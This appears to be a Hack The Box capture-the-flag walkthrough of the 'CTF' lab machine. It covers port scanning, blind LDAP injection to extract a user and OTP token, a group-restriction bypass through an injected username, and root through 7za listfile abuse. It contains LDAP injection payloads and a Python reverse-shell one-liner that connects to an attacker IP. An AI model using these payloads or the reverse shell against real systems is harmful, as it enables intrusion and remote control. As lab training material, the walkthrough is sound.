HTB CTF
10.10.10.122 | 50 pts | Synack Track | Ticket Master Badge
PART 1 : Initial Recon
1.1 NMAP SCAN
$ nmap --min-rate 700 -p- -v 10.10.10.122
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTFPART 2 : Port Enumeration
2.1 TCP PORT 80 : HTTP
Visiting http://10.10.10.122:

The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at /login.php:

Page Source (/login.php):
NOTE(S):
An error message pops up when guessing the Username input:
Now, testing for possible injection -- inputUsername=%3D (%3D is "=") and no error message popped up.
!,&,*,(,),\,|,<, and>also doesn't return an error message
These are special characters in LDAP so maybe these characters are being filtered out by /login.php. It is also important to note that a token string for the OTP is stored in a pre-existing attribute so the login might actually be validated using LDAP.
PART 3 : EXPLOITATION
3.1 LDAP Blind Injection
Attempt exploitation using LDAP Injection using a wildcard "*" as a payload:
The following response was given by the server:
This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:
Run using python3 and a user, ldapuser, has been extracted:
Now finding all available/usable LDAP Attributes using ldap_attribute_list.txt (copied from ldap-brute from GitHub):
Run using python3 and the following were returned -- userPassword, pager, and objectClass might be of interest:
Extracting the contents of userPassword:
Run using python3:
The userPassword attribute is a bit special:
So with ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=, a simple wildcard comparison won't do:
A sha512crypt hash was extracted but this seems to be a RABBIT HOLE. But the pager attribute seems promising:
Run using python3 and it seems like the attribute contains the token which is a Pure Numeric CTF (Compressed Token Format) string:
3.2 OTP Generation
Generate an OTP using the token string with stoken:
Login using the credentials found/generated (ldapuser:83502926) then you are redirected to /page.php:

Page Source (/page.php):
An error message pops up when fuzzing the inputCmd's input:
There was a gidNumber back during bruteforcing the available LDAP attributes:
rootandadmhas group numbers 0 and 4 respectivelyMaybe
ldapuser's group number could be added to the check done by /page.php
Maybe the group restriction could be bypassed by passing an LDAP injection as a username like ldapuser))(|(gidNumber:2.5.13.14:=1000when loggin in:
USERNAME
PASSWORD
ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000
Generate an OTP using stoken
Checking if ldapuser's GID is ineed 1000:
The script returned the following --[x] ldapuser's gidNumber : 1000
Using the new username, The group restriction no longer applies.
PART 4 : Generate User Shell
4.1 Reverse Shell as apache
On the local machine:
Sending a reverse shell on /page.php:
inputCmd
inputOTP
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Generate an OTP using stoken
While inside the reverse shell:
4.2 SSH as ldapuser
Login as ldapuser via ssh:
ldapuser shell:
PART 5 : Privilege Escalation (ldapuser -> root)
5.1 honeypot.sh
Enumerating the system using ldapuser shell:
There is a script named honeypot.sh and backup files seem to be generated every minute:
5.2 7za listfiles
Leveraging honeypot.sh by exploiting what 7za can do:
Since all switches after -- will be ignored meaning wildcard injection is no longer a viable option but, [<@listfiles...>] could still be controlled
To leverage @listfiles, write a file to /var/www/html/uploads:
The reverse shell from earlier has a user apache so the permissions could be changed using /page.php
inputCmd
inputOTP
chmod 777 /var/www/html/uploads
Generate an OTP using stoken
Now, create relevant files:
Since list is not a valid listfile, an error will be thrown. Attempting to capture /backup/error.log before contents are truncated by honeypot.sh:
Last updated